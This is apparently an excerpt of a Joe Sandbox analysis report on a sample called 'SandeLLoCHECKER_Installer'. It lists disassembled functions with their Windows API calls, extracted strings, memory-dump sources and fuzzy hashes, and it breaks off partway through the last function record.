Function 0085BD00 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 269COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00B314EC,C7BA013E,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00A42275), ref: 0085BD6A
GetModuleFileNameW.KERNEL32(0000FFFF,00000104,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00A42275), ref: 0085BDEA
EnterCriticalSection.KERNEL32(00B31508,?,?,?,?,?,?,?,?,?,?,?,00000000,00A42275,000000FF), ref: 0085BFA3
LeaveCriticalSection.KERNEL32(00B31508,?,?,?,?,?,?,?,?,?,?,00000000,00A42275,000000FF), ref: 0085BFC4

Strings

v, xrefs: 0085BFBD

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: CriticalSection$Enter$FileLeaveModuleName
String ID: v
API String ID: 1807155316-3261393531
Opcode ID: a2c87af7267a4a98dee2888d6ea4155cc2f41d85038a94aa145d1cad7df360a6
Instruction ID: 31ac6b062201dc698455b47bdafe665d283a3e388db842ac15df0fdf9ed9615c
Opcode Fuzzy Hash: a2c87af7267a4a98dee2888d6ea4155cc2f41d85038a94aa145d1cad7df360a6
Instruction Fuzzy Hash: 0EB15E70A00249DFDB11CFA4D848BAEBBB4FF18315F244559E804EB291DB75AD49CFA0

Function 0095E1D0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 249registrylibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(Advapi32.dll,00000000,C7BA013E), ref: 0095E414
GetProcAddress.KERNEL32(00000000,RegOpenKeyTransactedW), ref: 0095E424
RegCloseKey.ADVAPI32(00000000), ref: 0095E46D

Strings

RegOpenKeyTransactedW, xrefs: 0095E41E
Advapi32.dll, xrefs: 0095E40F

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: AddressCloseHandleModuleProc
String ID: Advapi32.dll$RegOpenKeyTransactedW
API String ID: 4190037839-3913318428
Opcode ID: f79f6e7c74437613eb29da2dd70eb82f15da75bcde78dc5df38e9424994242d0
Instruction ID: 7b562843f110ccab68a6e4e360e73466476d871ae5156dbeb17d4a243cddeaf0
Opcode Fuzzy Hash: f79f6e7c74437613eb29da2dd70eb82f15da75bcde78dc5df38e9424994242d0
Instruction Fuzzy Hash: 92A16AB0D00308DFDB14DFA9C949B9EBBB9FF44300F148569E815EB291DB75AA48CB91

Function 00857B90 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 194comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(00AAC5A4,00000000,00000001,00AACC2C,?), ref: 00857C60

Strings

:, xrefs: 00857C4A
{, xrefs: 00857CC0

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: CreateInstance
String ID: :${
API String ID: 542301482-3766677574
Opcode ID: 7c1ae00fa62a3c83a8e76462f6a379da3b5a36fa46ebe87aa9e7f69ab9573f39
Instruction ID: 755a4ff5cc08d2ee83882cf3fdce97403852f8e2595f609ff5bc660221622281
Opcode Fuzzy Hash: 7c1ae00fa62a3c83a8e76462f6a379da3b5a36fa46ebe87aa9e7f69ab9573f39
Instruction Fuzzy Hash: 2561AF74A042169FDF249F649844BBEB7F5FF09722F148469EC01EB280EB759C858760

Function 00962070 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 166synchronizationCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 009621F7
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00962213
GetExitCodeProcess.KERNEL32(00000000,00A7F697), ref: 00962224
CloseHandle.KERNEL32(00000000), ref: 00962232

Strings

<, xrefs: 009620DF
open, xrefs: 00962107

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: CloseCodeErrorExitHandleLastObjectProcessSingleWait
String ID: <$open
API String ID: 2321548817-1930408713
Opcode ID: a141e5d35109aa47a11d132ee4f3f02c6e0cdfe03b9e5a97265921f5606241be
Instruction ID: 54ae327700599c11a077a2a38c5381e87ec502157f515967ec5a69d3c64360c6
Opcode Fuzzy Hash: a141e5d35109aa47a11d132ee4f3f02c6e0cdfe03b9e5a97265921f5606241be
Instruction Fuzzy Hash: ED617C71E046499FDB10CFA8C85879EBBB8FF49324F148269E825AB3D1DB749D01CB90

Function 00859360 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 157COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00B3683C,C7BA013E,00000000,00B36858), ref: 008593D3
LeaveCriticalSection.KERNEL32(00B3683C), ref: 00859438
LoadCursorW.USER32(00840000,?), ref: 00859494
LeaveCriticalSection.KERNEL32(00B3683C), ref: 0085952B

Strings

ATL:%p, xrefs: 008594B4
v, xrefs: 00859438, 0085952B

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: CriticalSection$Leave$CursorEnterLoad
String ID: v$ATL:%p
API String ID: 2080323225-109518622
Opcode ID: 8c95e99d50a1eb6963bcecc4a17cf5f617d8136f2bdccb6aa017764d8510e86f
Instruction ID: 887ed40e34ff0ed3e402c9d7584be7cc8ce7f0504d8e93acec24c9b4055f8246
Opcode Fuzzy Hash: 8c95e99d50a1eb6963bcecc4a17cf5f617d8136f2bdccb6aa017764d8510e86f
Instruction Fuzzy Hash: 4451DE71D00B45DBDB21CF68C9056AAB7F4FF18711F10462EEC96A3690EB70B985CB50

Function 00A2F992 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00A2FA9F,?,?,?,00000000,00000000,?,00A2FD09,00000021,FlsSetValue,00AA3E7C,00AA3E84,?), ref: 00A2FA53

Strings

ext-ms-, xrefs: 00A2F9FD
api-ms-, xrefs: 00A2F9E9

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 2bed11af0b174c95690811486275c1b67d7aba3ed6897125aedf16d9ffd02711
Instruction ID: 8079e81721f1855ef49e5e4096ec3ec0fa0f120b8a2e550001844cdef692c8b8
Opcode Fuzzy Hash: 2bed11af0b174c95690811486275c1b67d7aba3ed6897125aedf16d9ffd02711
Instruction Fuzzy Hash: 5A21D572A01124AFCB21DB69BC51A5B3778AB517A0F260171FE0AE72D1EB30ED01C6D0

Function 00A13100 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 45libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,?,00A1317B,00A130DE,00A1337F), ref: 00A13117
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 00A1312D
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 00A13142

Strings

ReleaseSRWLockExclusive, xrefs: 00A13137
KERNEL32.DLL, xrefs: 00A13112
AcquireSRWLockExclusive, xrefs: 00A13127

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 667068680-1718035505
Opcode ID: caeb88b55bf037a409aa96fcffda862d37b6f1771f158d578862517b90beb781
Instruction ID: 6ea3057c06f9fdae3f28e0969921f6823717383a4a8f8371275616535ea2cd8f
Opcode Fuzzy Hash: caeb88b55bf037a409aa96fcffda862d37b6f1771f158d578862517b90beb781
Instruction Fuzzy Hash: 89F0C237B022227F4F314FA55C81AF723FC5B017A43290A3AD902D3210EA90CEC296D0

Function 0087EA00 Relevance: 9.2, APIs: 6, Instructions: 153COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0087EA4A
std::_Lockit::_Lockit.LIBCPMT ref: 0087EA6C
std::_Lockit::~_Lockit.LIBCPMT ref: 0087EA94
__Getctype.LIBCPMT ref: 0087EB75
std::_Facet_Register.LIBCPMT ref: 0087EBD7
std::_Lockit::~_Lockit.LIBCPMT ref: 0087EC01

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetctypeRegister
String ID:
API String ID: 1102183713-0
Opcode ID: f6405f4b31fa32293bb1cc1c50f1510192a4d862a5438165219a0647d9ca0793
Instruction ID: ed3c7036e718c66b9551b279334033082c4af0018734fe9b811dbb744388521b
Opcode Fuzzy Hash: f6405f4b31fa32293bb1cc1c50f1510192a4d862a5438165219a0647d9ca0793
Instruction Fuzzy Hash: 3561A0B1D00259CFDB10CF58C5457AEFBF4FF18314F1482A9D855AB291EB74AA84CB91

Function 0087E800 Relevance: 9.1, APIs: 6, Instructions: 140COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0087E83D
std::_Lockit::_Lockit.LIBCPMT ref: 0087E85F
std::_Lockit::~_Lockit.LIBCPMT ref: 0087E887
__Getcoll.LIBCPMT ref: 0087E951
std::_Facet_Register.LIBCPMT ref: 0087E996
std::_Lockit::~_Lockit.LIBCPMT ref: 0087E9CE

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetcollRegister
String ID:
API String ID: 1184649410-0
Opcode ID: d284e06c4f820a9300e5c43f01307d3d45d6e15a25bef6f1d06a38d26c79f51a
Instruction ID: ce6a333031d58c810325de233e303aa6c3263a301773e4e416e28144bb5e17a5
Opcode Fuzzy Hash: d284e06c4f820a9300e5c43f01307d3d45d6e15a25bef6f1d06a38d26c79f51a
Instruction Fuzzy Hash: CC517E71D01208EFDF01DF98E984B9DBBB4FF48314F2481A9E815AB391DB749A05CB92

Function 00A17A13 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00A17A0A,00A179D6,?,?,0087BBBD,0095F350,?,00000008), ref: 00A17A21
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00A17A2F
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00A17A48
SetLastError.KERNEL32(00000000,00A17A0A,00A179D6,?,?,0087BBBD,0095F350,?,00000008), ref: 00A17A9A

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 22b32c87bed72333953d556367edb262f57dc33d7dd6295b760b4add52def709
Instruction ID: c8ac9a98b27168c47ae6604e6820a4cfefb569b96429382056f8a2a4d83f0cc7
Opcode Fuzzy Hash: 22b32c87bed72333953d556367edb262f57dc33d7dd6295b760b4add52def709
Instruction Fuzzy Hash: D401FC3220E316AEA73527B8BD859EF2B69DF113B8720123AF514960E1FF154DD151C0

Function 009A54D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 244fileCOMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 009A5504

Part of subcall function 0084ABE0: GetProcessHeap.KERNEL32 ref: 0084AC35
Part of subcall function 0084ABE0: __Init_thread_footer.LIBCMT ref: 0084AC67
Part of subcall function 0084ABE0: __Init_thread_footer.LIBCMT ref: 0084ACF2

DeleteFileW.KERNEL32(?), ref: 009A55AA
_wcsrchr.LIBVCRUNTIME ref: 009A5619
DeleteFileW.KERNEL32(?,?,?), ref: 009A56DF

Part of subcall function 00964070: LoadStringW.USER32(000000A1,?,00000514,C7BA013E), ref: 00963FD6

Strings

--verbose --log-file="%s" --remove-pack-file "%s" "%s", xrefs: 009A555E

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: DeleteFileInit_thread_footer_wcsrchr$HeapLoadProcessString
String ID: --verbose --log-file="%s" --remove-pack-file "%s" "%s"
API String ID: 2702461799-3685554107
Opcode ID: 995307ad121f24f2bda780d61f3b1dd630a8c9e35cad2f784fee9fd5acfe5262
Instruction ID: 5c92fb3709678f32b730483643ee36217be15efa294c4c09c156ba9fe4d42ebc
Opcode Fuzzy Hash: 995307ad121f24f2bda780d61f3b1dd630a8c9e35cad2f784fee9fd5acfe5262
Instruction Fuzzy Hash: 7891B271A00909DFDB00DB6CC844B9EBBB9FF45324F1582A9E815DB2A2DB35DD04CB91

Function 008496F0 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 008497D5
__Init_thread_footer.LIBCMT ref: 00849820

Strings

<a>, xrefs: 008499C8
<a href=", xrefs: 00849795
</a>, xrefs: 00849926

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: Init_thread_footer
String ID: </a>$<a href="$<a>
API String ID: 1385522511-4210067781
Opcode ID: 3c616a07ddf978199d898361107ea6e4bea02f21bf5630a34d0539022c0fdcdd
Instruction ID: 0db7599f06e370c9cebf75722b46d90c0e4155cd9d8075da89f13b22ea4d236b
Opcode Fuzzy Hash: 3c616a07ddf978199d898361107ea6e4bea02f21bf5630a34d0539022c0fdcdd
Instruction Fuzzy Hash: DD917070A00708EFCB14DF68D945BAEB7B1FF49314F208669E425EB2D1EB70A945CB91

Function 008770C0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 182windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,SysTabControl32,?,46010000,?,?,?,?,00000000,00000309,00000000), ref: 008771BD
SendMessageW.USER32(00000000,00000031,00000000,00000000), ref: 008771D2
SendMessageW.USER32(00000000,00000030,00000000,00000001), ref: 008771DA

Part of subcall function 0084A8A0: RtlAllocateHeap.NTDLL(?,00000000,?,C7BA013E,00000000,00A3DE90,000000FF,?,?,00B277EC,?,009A5D66,8000000B,C7BA013E), ref: 0084A8EA

Part of subcall function 00878E00: SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00878E4C

Strings

TabHost, xrefs: 00877149, 0087715B, 00877165
SysTabControl32, xrefs: 008771B5

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: MessageSend$AllocateCreateHeapWindow
String ID: SysTabControl32$TabHost
API String ID: 2359350451-2872506973
Opcode ID: dd77a43d9177b9b7b072badbade9f4e18da097ee62c04e55a7a5dc3c543b92f1
Instruction ID: 1c78dece5083dbb68918443acd68465d523c60e820bd9e2183db893f599138a4
Opcode Fuzzy Hash: dd77a43d9177b9b7b072badbade9f4e18da097ee62c04e55a7a5dc3c543b92f1
Instruction Fuzzy Hash: AE518C35A00605AFDB14DF68C844BAEBBB5FF49310F104669E819EB391DB74A901CBA1

Function 00863DE0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 113timeCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(C7BA013E,C7BA013E,?), ref: 00863E1F
EnterCriticalSection.KERNEL32(?,C7BA013E,?), ref: 00863E2C
KillTimer.USER32(?,00000001), ref: 00863E74
LeaveCriticalSection.KERNEL32(?,?,00000000,?), ref: 00863F03

Strings

v, xrefs: 00863F03

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: CriticalSection$EnterInitializeKillLeaveTimer
String ID: v
API String ID: 3614119372-3261393531
Opcode ID: 8de91a3a9cbd7bcc1daf4076a06ccc278486afc4dda1beef483f29e5c1bf877c
Instruction ID: 9138a54f8b877cb4d91c6e5c88886b5f651e37a4c2eba7a9714f397de4819d85
Opcode Fuzzy Hash: 8de91a3a9cbd7bcc1daf4076a06ccc278486afc4dda1beef483f29e5c1bf877c
Instruction Fuzzy Hash: 6D4113347007458FCB22CF38C840BAABBB5FF45314F100569E4A6D7792CB32AA16CBA0

Function 0094B6C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 96registrylibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(Advapi32.dll,C7BA013E,00000000,?,?,?,00000000,Function_001FE310,000000FF), ref: 0094B703
GetProcAddress.KERNEL32(00000000,RegCreateKeyTransactedW), ref: 0094B72C
RegCloseKey.ADVAPI32(00000000,?,?,?,00000000,Function_001FE310,000000FF), ref: 0094B78C

Strings

RegCreateKeyTransactedW, xrefs: 0094B726
Advapi32.dll, xrefs: 0094B6FE

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: AddressCloseHandleModuleProc
String ID: Advapi32.dll$RegCreateKeyTransactedW
API String ID: 4190037839-2994018265
Opcode ID: 6c25ec83ed3c9be18483c5c1107dba98647e694b6156d29ae84ad1ca92a607d9
Instruction ID: 948fae53ecf9560e1187fa9ac87b6e686e02169c052dbea63f959759523e9c4a
Opcode Fuzzy Hash: 6c25ec83ed3c9be18483c5c1107dba98647e694b6156d29ae84ad1ca92a607d9
Instruction Fuzzy Hash: 11317F76644205EFEB248F45DC45FAABBACFB48750F10452AF905DB680E775E810CA94

Function 00A215AC Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,C7BA013E,?,?,00000000,00A9D7B9,000000FF,?,00A2153C,?,?,00A21510,?), ref: 00A215E1
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00A215F3
FreeLibrary.KERNEL32(00000000,?,?,00000000,00A9D7B9,000000FF,?,00A2153C,?,?,00A21510,?), ref: 00A21615

Strings

mscoree.dll, xrefs: 00A215DA
